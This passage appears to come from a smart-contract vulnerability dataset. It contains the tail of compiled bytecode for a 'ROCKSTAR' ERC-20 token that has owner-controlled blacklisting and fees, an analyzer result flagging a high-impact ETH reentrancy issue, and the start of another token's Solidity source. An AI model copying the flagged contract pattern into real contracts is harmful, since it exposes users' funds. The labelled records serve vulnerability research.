506103a860048036038101906103a39190612ebb565b6109cc565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613091565b610abc565b005b3480156103df57600080fd5b506103e8610b6d565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612ebb565b610c3e565b60405161041e9190613687565b60405180910390f35b34801561043357600080fd5b5061043c610c8f565b005b34801561044a57600080fd5b50610465600480360381019061046091906130be565b610de2565b005b34801561047357600080fd5b5061047c610e81565b6040516104899190613687565b60405180910390f35b34801561049e57600080fd5b506104a7610e87565b6040516104b49190613454565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613091565b610eb0565b005b3480156104f257600080fd5b506104fb610f69565b6040516105089190613687565b60405180910390f35b34801561051d57600080fd5b50610526610f6f565b60405161053391906134a5565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130be565b610fac565b005b34801561057157600080fd5b5061058c600480360381019061058791906130eb565b61104b565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa8565b611102565b6040516105c2919061346f565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612ebb565b611120565b6040516105ff919061346f565b60405180910390f35b34801561061457600080fd5b5061061d611140565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe8565b611219565b005b34801561065457600080fd5b5061065d611353565b60405161066a9190613687565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f15565b611359565b6040516106a79190613687565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130be565b6113e0565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612ebb565b61147f565b005b61070a611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e7565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139d3565b91505061079a565b5050565b60606040518060400160405280600881526020017f524f434b53544152000000000000000000000000000000000000000000000000815250905090565b600061087d610876611641565b8484611649565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108cb848484611814565b61098c846108d7611641565b61098785604051806060016040528060288152602001613f2860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093d611641565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f49092919063ffffffff16565b611649565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a58906135e7565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906135e7565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bae611641565b73ffffffffffffffffffffffffffffffffffffffff161480610c245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0c611641565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2d57600080fd5b6000479050610c3b81612258565b50565b6000610c88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612353565b9050919050565b610c97611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dea611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e906135e7565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c906135e7565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600881526020017f524f434b53544152000000000000000000000000000000000000000000000000815250905090565b610fb4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611041576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611038906135e7565b60405180910390fd5b8060198190555050565b611053611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d7906135e7565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111661110f611641565b8484611814565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611181611641565b73ffffffffffffffffffffffffffffffffffffffff1614806111f75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111df611641565b73ffffffffffffffffffffffffffffffffffffffff16145b61120057600080fd5b600061120b30610c3e565b9050611216816123c1565b50565b611221611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a5906135e7565b60405180910390fd5b60005b8383905081101561134d5781600560008686858181106112d4576112d3613a7a565b5b90506020020160208101906112e99190612ebb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611345906139d3565b9150506112b1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c906135e7565b60405180910390fd5b8060188190555050565b611487611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90613547565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090613667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090613567565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118079190613687565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b90613627565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb906134c7565b60405180910390fd5b60008111611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90613607565b60405180910390fd5b61193f610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ad575061197d610e87565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef357601660149054906101000a900460ff16611a3c576119ce610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a32906134e7565b60405180910390fd5b5b601754811115611a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7890613527565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b255750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5b90613587565b60405180910390fd5b6001600854611b7391906137bd565b4311158015611bcf5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c295750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbf576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6c5760185481611d2184610c3e565b611d2b91906137bd565b10611d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6290613647565b60405180910390fd5b5b6000611d7730610c3e565b9050600060195482101590506017548210611d925760175491505b808015611dac5750601660159054906101000a900460ff16155b8015611e065750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1c575060168054906101000a900460ff165b8015611e725750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ef057611ed6826123c1565b60004790506000811115611eee57611eed47612258565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f9a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205b57600090506121e2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121065750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e157600b54600d81905550600c54600e819055505b5b6121ee84848484612649565b50505050565b600083831115829061223c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223391906134a5565b60405180910390fd5b506000838561224b919061389e565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a860028461267690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232460028461267690919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234f573d6000803e3d6000fd5b5050565b600060065482111561239a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239190613507565b60405180910390fd5b60006123a46126c0565b90506123b9818461267690919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f9576123f8613aa9565b5b6040519080825280602002602001820160405280156124275781602001602082028036833780820191505090505b509050308160008151811061243f5761243e613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e157600080fd5b505afa1580156124f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125199190612ee8565b8160018151811061252d5761252c613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611649565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f89594939291906136a2565b600060405180830381600087803b15801561261257600080fd5b505af1158015612626573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612657576126566126eb565b5b61266284848461272e565b806126705761266f6128f9565b5b50505050565b60006126b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290d565b905092915050565b60008060006126cd612970565b915091506126e4818361267690919063ffffffff16565b9250505090565b6000600d541480156126ff57506000600e54145b156127095761272c565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b600080600080600080612740876129d2565b95509550955095509550955061279e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287f81612ae2565b6128898483612b9f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e69190613687565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b91906134a5565b60405180910390fd5b50600083856129639190613813565b9050809150509392505050565b600080600060065490506000683635c9adc5dea0000090506129a6683635c9adc5dea0000060065461267690919063ffffffff16565b8210156129c557600654683635c9adc5dea000009350935050506129ce565b81819350935050505b9091565b60008060008060008060008060006129ef8a600d54600e54612bd9565b92509250925060006129ff6126c0565b90506000806000612a128e878787612c6f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f4565b905092915050565b6000808284612a9391906137bd565b905083811015612ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acf906135a7565b60405180910390fd5b8091505092915050565b6000612aec6126c0565b90506000612b038284612cf890919063ffffffff16565b9050612b5781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb482600654612a3a90919063ffffffff16565b600681905550612bcf81600754612a8490919063ffffffff16565b6007819055505050565b600080600080612c056064612bf7888a612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c2f6064612c21888b612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c5882612c4a858c612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c888589612cf890919063ffffffff16565b90506000612c9f8689612cf890919063ffffffff16565b90506000612cb68789612cf890919063ffffffff16565b90506000612cdf82612cd18587612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d0b5760009050612d6d565b60008284612d199190613844565b9050828482612d289190613813565b14612d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5f906135c7565b60405180910390fd5b809150505b92915050565b6000612d86612d818461373c565b613717565b90508083825260208201905082856020860282011115612da957612da8613ae2565b5b60005b85811015612dd95781612dbf8882612de3565b845260208401935060208301925050600181019050612dac565b5050509392505050565b600081359050612df281613ee2565b92915050565b600081519050612e0781613ee2565b92915050565b60008083601f840112612e2357612e22613add565b5b8235905067ffffffffffffffff811115612e4057612e3f613ad8565b5b602083019150836020820283011115612e5c57612e5b613ae2565b5b9250929050565b600082601f830112612e7857612e77613add565b5b8135612e88848260208601612d73565b91505092915050565b600081359050612ea081613ef9565b92915050565b600081359050612eb581613f10565b92915050565b600060208284031215612ed157612ed0613aec565b5b6000612edf84828501612de3565b91505092915050565b600060208284031215612efe57612efd613aec565b5b6000612f0c84828501612df8565b91505092915050565b60008060408385031215612f2c57612f2b613aec565b5b6000612f3a85828601612de3565b9250506020612f4b85828601612de3565b9150509250929050565b600080600060608486031215612f6e57612f6d613aec565b5b6000612f7c86828701612de3565b9350506020612f8d86828701612de3565b9250506040612f9e86828701612ea6565b9150509250925092565b60008060408385031215612fbf57612fbe613aec565b5b6000612fcd85828601612de3565b9250506020612fde85828601612ea6565b9150509250929050565b60008060006040848603121561300157613000613aec565b5b600084013567ffffffffffffffff81111561301f5761301e613ae7565b5b61302b86828701612e0d565b9350935050602061303e86828701612e91565b9150509250925092565b60006020828403121561305e5761305d613aec565b5b600082013567ffffffffffffffff81111561307c5761307b613ae7565b5b61308884828501612e63565b91505092915050565b6000602082840312156130a7576130a6613aec565b5b60006130b584828501612e91565b91505092915050565b6000602082840312156130d4576130d3613aec565b5b60006130e284828501612ea6565b91505092915050565b6000806000806080858703121561310557613104613aec565b5b600061311387828801612ea6565b945050602061312487828801612ea6565b935050604061313587828801612ea6565b925050606061314687828801612ea6565b91505092959194509250565b600061315e838361316a565b60208301905092915050565b613173816138d2565b82525050565b613182816138d2565b82525050565b600061319382613778565b61319d818561379b565b93506131a883613768565b8060005b838110156131d95781516131c08882613152565b97506131cb8361378e565b9250506001810190506131ac565b5085935050505092915050565b6131ef816138e4565b82525050565b6131fe81613927565b82525050565b61320d81613939565b82525050565b600061321e82613783565b61322881856137ac565b935061323881856020860161396f565b61324181613af1565b840191505092915050565b60006132596023836137ac565b915061326482613b02565b604082019050919050565b600061327c603f836137ac565b915061328782613b51565b604082019050919050565b600061329f602a836137ac565b91506132aa82613ba0565b604082019050919050565b60006132c2601c836137ac565b91506132cd82613bef565b602082019050919050565b60006132e56026836137ac565b91506132f082613c18565b604082019050919050565b60006133086022836137ac565b915061331382613c67565b604082019050919050565b600061332b6023836137ac565b915061333682613cb6565b604082019050919050565b600061334e601b836137ac565b915061335982613d05565b602082019050919050565b60006133716021836137ac565b915061337c82613d2e565b604082019050919050565b60006133946020836137ac565b915061339f82613d7d565b602082019050919050565b60006133b76029836137ac565b91506133c282613da6565b604082019050919050565b60006133da6025836137ac565b91506133e582613df5565b604082019050919050565b60006133fd6023836137ac565b915061340882613e44565b604082019050919050565b60006134206024836137ac565b915061342b82613e93565b604082019050919050565b61343f81613910565b82525050565b61344e8161391a565b82525050565b60006020820190506134696000830184613179565b92915050565b600060208201905061348460008301846131e6565b92915050565b600060208201905061349f60008301846131f5565b92915050565b600060208201905081810360008301526134bf8184613213565b905092915050565b600060208201905081810360008301526134e08161324c565b9050919050565b600060208201905081810360008301526135008161326f565b9050919050565b6000602082019050818103600083015261352081613292565b9050919050565b60006020820190508181036000830152613540816132b5565b9050919050565b60006020820190508181036000830152613560816132d8565b9050919050565b60006020820190508181036000830152613580816132fb565b9050919050565b600060208201905081810360008301526135a08161331e565b9050919050565b600060208201905081810360008301526135c081613341565b9050919050565b600060208201905081810360008301526135e081613364565b9050919050565b6000602082019050818103600083015261360081613387565b9050919050565b60006020820190508181036000830152613620816133aa565b9050919050565b60006020820190508181036000830152613640816133cd565b9050919050565b60006020820190508181036000830152613660816133f0565b9050919050565b6000602082019050818103600083015261368081613413565b9050919050565b600060208201905061369c6000830184613436565b92915050565b600060a0820190506136b76000830188613436565b6136c46020830187613204565b81810360408301526136d68186613188565b90506136e56060830185613179565b6136f26080830184613436565b9695505050505050565b60006020820190506137116000830184613445565b92915050565b6000613721613732565b905061372d82826139a2565b919050565b6000604051905090565b600067ffffffffffffffff82111561375757613756613aa9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c882613910565b91506137d383613910565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380857613807613a1c565b5b828201905092915050565b600061381e82613910565b915061382983613910565b92508261383957613838613a4b565b5b828204905092915050565b600061384f82613910565b915061385a83613910565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561389357613892613a1c565b5b828202905092915050565b60006138a982613910565b91506138b483613910565b9250828210156138c7576138c6613a1c565b5b828203905092915050565b60006138dd826138f0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139328261394b565b9050919050565b600061394482613910565b9050919050565b60006139568261395d565b9050919050565b6000613968826138f0565b9050919050565b60005b8381101561398d578082015181840152602081019050613972565b8381111561399c576000848401525b50505050565b6139ab82613af1565b810181811067ffffffffffffffff821117156139ca576139c9613aa9565b5b80604052505050565b60006139de82613910565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a1157613a10613a1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613eeb816138d2565b8114613ef657600080fd5b50565b613f02816138e4565b8114613f0d57600080fd5b50565b613f1981613910565b8114613f2457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f67630d6d7ba4cc4b246d5b79fa46a541e1e354de89b5bea89b676c003f09eb064736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 4,208 |
0x8c8ccb81d436b0f3017664441c39cbefbd64650f
|
pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != 0x0);
require(newOwner != owner);
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
using SafeMath for uint256;
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20() public {}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to].add(_value) > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
// Subtract from the sender
balanceOf[_from] = balanceOf[_from].sub(_value);
// Add the same to the recipient
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
